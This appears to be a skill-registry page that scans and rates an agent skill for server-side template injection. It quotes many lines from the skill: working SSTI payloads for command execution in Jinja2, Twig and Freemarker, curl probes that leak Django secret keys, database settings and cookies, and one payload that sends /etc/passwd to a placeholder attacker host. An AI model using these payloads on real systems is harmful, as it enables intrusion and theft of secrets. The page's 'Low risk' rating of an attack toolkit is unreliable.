← All skills
exploit-ssti
80 / 100 · Low risk
Fine to try. Some of what it can do is expected: a coding skill usually runs build and test commands.
By BitterSecurity/Decepticon (GitHub) · coding · 6,581 stars · scanned at commit bdb1016
Server-Side Template Injection (SSTI) — RCE through template engines. Covers Jinja2 (Python/Flask), Twig (PHP/Symfony), Freemarker (Java), ERB (Ruby), Razor (.NET). Includes engine fingerprinting, MRO chain construction, and filter bypass.
Works with any agent that supports SKILL.md skills.
What this skill can do
Runs commands on your computer
The author does not mention this. Expected for a coding skill.
Found in 19 places.
Show 16 more
- packages/decepticon/decepticon/skills/standard/exploit/web/ssti/SKILL.md, line 49
PAYLOAD='{{"".__class__.__mro__[1].__subclasses__()[<INDEX>]("id",shell=True,stdout=-1).communicate()[0]}}' - packages/decepticon/decepticon/skills/standard/exploit/web/ssti/SKILL.md, line 65
curl -sI "http://<TARGET>/" | grep -iE 'x-frame-options|csrftoken|django' - packages/decepticon/decepticon/skills/standard/exploit/web/ssti/SKILL.md, line 88
curl -s "http://<TARGET>/page?input={{settings.SECRET_KEY}}" - packages/decepticon/decepticon/skills/standard/exploit/web/ssti/SKILL.md, line 141
curl -s 'https://<TARGET>/page?input={{_self.env.display("id")}}' - packages/decepticon/decepticon/skills/standard/exploit/web/ssti/SKILL.md, line 161
curl -s -X POST "http://<TARGET>/<add_endpoint>" -d 'name={{7*7}}&description={{49+1}}' - packages/decepticon/decepticon/skills/standard/exploit/web/ssti/SKILL.md, line 179
curl -s 'http://<TARGET>/page?input={{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("id")}}' - packages/decepticon/decepticon/skills/standard/exploit/web/ssti/SKILL.md, line 191
curl -s 'https://<TARGET>/page?input=${7*7}' - packages/decepticon/decepticon/skills/standard/exploit/web/ssti/SKILL.md, line 206
curl -s "http://<TARGET>/page?input={{''.__class__.__mro__[1].__subclasses__()[<N>](['sleep','5'],stdout=-1).communicate()}}" --max-time 10 -w '\nTime: %{time_t - packages/decepticon/decepticon/skills/standard/exploit/web/ssti/SKILL.md, line 235
curl -s "http://<TARGET>/page?input={{''.__class__.__mro__[1].__subclasses__()}}" \ - packages/decepticon/decepticon/skills/standard/exploit/web/ssti/SKILL.md, line 238
grep -o "subprocess.Popen\|<class '" /tmp/subclasses.txt | wc -l - packages/decepticon/decepticon/skills/standard/exploit/web/ssti/SKILL.md, line 251
curl -s "http://<TARGET>/page?input={{''.__class__.__mro__[1].__subclasses__()[$INDEX]('id',shell=True,stdout=-1).communicate()[0]}}" \ - packages/decepticon/decepticon/skills/standard/exploit/web/ssti/SKILL.md, line 259
curl -s "http://<TARGET>/page?input={{''.__class__.__mro__[1].__subclasses__()[$INDEX]('cat /etc/passwd > /tmp/out.txt',shell=True,stdout=-1).communicate()}}" - packages/decepticon/decepticon/skills/standard/exploit/web/ssti/SKILL.md, line 263
curl -s "http://<TARGET>/page?input={{''.__class__.__mro__[1].__subclasses__()[$INDEX]('curl http://<ATTACKER>:9999/?d=\$(cat /etc/passwd|base64 -w0)',shell=Tru - packages/decepticon/decepticon/skills/standard/exploit/web/ssti/SKILL.md, line 269
curl -s "http://<TARGET>/page?input={{request.application.__globals__.__builtins__.__import__('os').popen('id').read()}}" - packages/decepticon/decepticon/skills/standard/exploit/web/ssti/SKILL.md, line 270
curl -s "http://<TARGET>/page?input={{cycler.__init__.__globals__.os.popen('id').read()}}" - packages/decepticon/decepticon/skills/standard/exploit/web/ssti/SKILL.md, line 279
TARGET_URL="http://<TARGET>/page?input="
Connects to the internet
The author does not mention this.
Found in 54 places.
Show 17 more
- packages/decepticon/decepticon/skills/standard/exploit/web/ssti/SKILL.md, line 38
curl -s 'https://<TARGET>/page?input=${7*7}' | grep -o '49' # Freemarker/EL - packages/decepticon/decepticon/skills/standard/exploit/web/ssti/SKILL.md, line 39
curl -s 'https://<TARGET>/page?input=#{7*7}' | grep -o '49' # Ruby ERB/Thymeleaf - packages/decepticon/decepticon/skills/standard/exploit/web/ssti/SKILL.md, line 40
curl -s 'https://<TARGET>/page?input={{7*"7"}}' | grep -o '7777777' # Jinja2 (string repeat) - packages/decepticon/decepticon/skills/standard/exploit/web/ssti/SKILL.md, line 46
curl -s 'https://<TARGET>/page?input={{config}}' - packages/decepticon/decepticon/skills/standard/exploit/web/ssti/SKILL.md, line 50
curl -s "https://<TARGET>/page?input=${PAYLOAD}" -o ssti_jinja2_rce.txt - packages/decepticon/decepticon/skills/standard/exploit/web/ssti/SKILL.md, line 65
curl -sI "http://<TARGET>/" | grep -iE 'x-frame-options|csrftoken|django' - packages/decepticon/decepticon/skills/standard/exploit/web/ssti/SKILL.md, line 68
curl -s "http://<TARGET>/" | grep -oE 'csrfmiddlewaretoken|csrf_token' - packages/decepticon/decepticon/skills/standard/exploit/web/ssti/SKILL.md, line 70
curl -s -o /dev/null -w '%{http_code}' "http://<TARGET>/admin/" # 200/302 → Django - packages/decepticon/decepticon/skills/standard/exploit/web/ssti/SKILL.md, line 72
curl -s "http://<TARGET>/page?input={%25+csrf_token+%25}" | grep -o 'csrfmiddlewaretoken' - packages/decepticon/decepticon/skills/standard/exploit/web/ssti/SKILL.md, line 88
curl -s "http://<TARGET>/page?input={{settings.SECRET_KEY}}" - packages/decepticon/decepticon/skills/standard/exploit/web/ssti/SKILL.md, line 89
curl -s "http://<TARGET>/page?input={{settings.DATABASES}}" - packages/decepticon/decepticon/skills/standard/exploit/web/ssti/SKILL.md, line 90
curl -s "http://<TARGET>/page?input={{settings.DEBUG}}" - packages/decepticon/decepticon/skills/standard/exploit/web/ssti/SKILL.md, line 91
curl -s "http://<TARGET>/page?input={{settings|pprint}}" - packages/decepticon/decepticon/skills/standard/exploit/web/ssti/SKILL.md, line 94
curl -s "http://<TARGET>/page?input={{request.session.items}}" - packages/decepticon/decepticon/skills/standard/exploit/web/ssti/SKILL.md, line 95
curl -s "http://<TARGET>/page?input={{request.session.flag}}" - packages/decepticon/decepticon/skills/standard/exploit/web/ssti/SKILL.md, line 96
curl -s "http://<TARGET>/page?input={{request.META.HTTP_COOKIE}}" - packages/decepticon/decepticon/skills/standard/exploit/web/ssti/SKILL.md, line 97
curl -s "http://<TARGET>/page?input={{request.user.is_staff}}"
and 34 more places
Reads your saved credentials, such as SSH keys or .env files
This is disclosed by the author in the skill's SKILL.md or README.
Found in 2 places.
Install
Paste this into your terminal. It downloads exactly the version we scanned, not whatever is newest.
if [ -e ~/.agents/skills/'exploit-ssti' ] || [ -L ~/.agents/skills/'exploit-ssti' ]; then echo 'A skill folder named exploit-ssti already exists — not replacing it' >&2; false; else d=$(mktemp -d) && git clone --quiet --filter=blob:none --no-checkout 'https://github.com/BitterSecurity/Decepticon' "$d" && git -C "$d" checkout --quiet 'bdb1016c93ed687f61ac57481da298c25a47c8f5' -- 'packages/decepticon/decepticon/skills/standard/exploit/web/ssti' && mkdir -p ~/.agents/skills && cp -R "$d"/'packages/decepticon/decepticon/skills/standard/exploit/web/ssti' ~/.agents/skills/'exploit-ssti' && rm -rf "$d"; fi
Codex reads ~/.agents/skills directly. For Claude Code, Cursor, Copilot, Gemini CLI, Antigravity or OpenCode, also link it. For Claude Code: ln -s ~/.agents/skills/'exploit-ssti' ~/.claude/skills/'exploit-ssti' (other agents: ~/.cursor/skills, ~/.copilot/skills, ~/.gemini/skills, ~/.gemini/config/skills, ~/.config/opencode/skills). Or install through the finder skill, which does both.
Badge for your README
The badge for BitterSecurity/Decepticon shows the score of its lowest-scoring skill.

[](https://zalavijaysinh.github.io/skilltrust/repos/BitterSecurity/Decepticon/)
Score history
| Date | Version | Score |
|---|
| 2026-11-11 | bdb1016 | 80 |
| 2026-11-08 | df87955 | 80 |